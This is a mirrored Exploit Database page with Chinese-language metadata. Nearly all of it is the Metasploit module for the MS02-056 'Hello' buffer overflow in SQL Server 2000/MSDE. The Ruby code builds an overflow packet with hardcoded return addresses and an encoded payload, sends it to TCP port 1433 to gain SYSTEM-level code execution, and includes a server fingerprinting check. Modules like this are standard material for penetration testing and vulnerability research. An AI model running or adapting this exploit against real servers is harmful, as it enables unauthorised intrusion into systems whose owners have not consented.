Microsoft SQL Server – Hello Overflow (MS02-056) (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16398/

• ##
  # $Id: ms02_056_hello.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::MSSQL
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft SQL Server Hello Overflow',
  			'Description'=> %q{
  					By sending malformed data to TCP port 1433, an
  				unauthenticated remote attacker could overflow a buffer and
  				possibly execute code on the server with SYSTEM level
  				privileges. This module should work against any vulnerable
  				SQL Server 2000 or MSDE install (< SP3).
  
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2002-1123'],
  					[ 'OSVDB', '10132'],
  					[ 'BID', '5411'],
  					[ 'MSB', 'MS02-056'],
  
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 512,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'MSSQL 2000 / MSDE <= SP2',
  						{
  							'Platform' => 'win',
  							'Rets' => [0x42b68aba, 0x42d01e50],
  						},
  					],
  				],
  			'Platform' => 'win',
  			'DisclosureDate' => 'Aug 5 2002',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		info = mssql_ping
  		if (info['ServerName'])
  			print_status("SQL Server Information:")
  			info.each_pair { |k,v|
  				print_status(" #{k + (" " * (15-k.length))} = #{v}")
  			}
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  		buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
  			"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
  			"\x10\x00\x00\x00" +
  			rand_text_english(528, payload_badchars) +
  			"\x1B\xA5\xEE\x34" +
  			rand_text_english(4, payload_badchars) +
  			[ target['Rets'][0] ].pack('V') +
  			[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
  			'3333' +
  			[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
  			rand_text_english(88, payload_badchars) +
  			payload.encoded +
  			"\x00\x24\x01\x00\x00"
  
  		sock.put(buf)
  
  		handler
  		disconnect
  	end
  
  end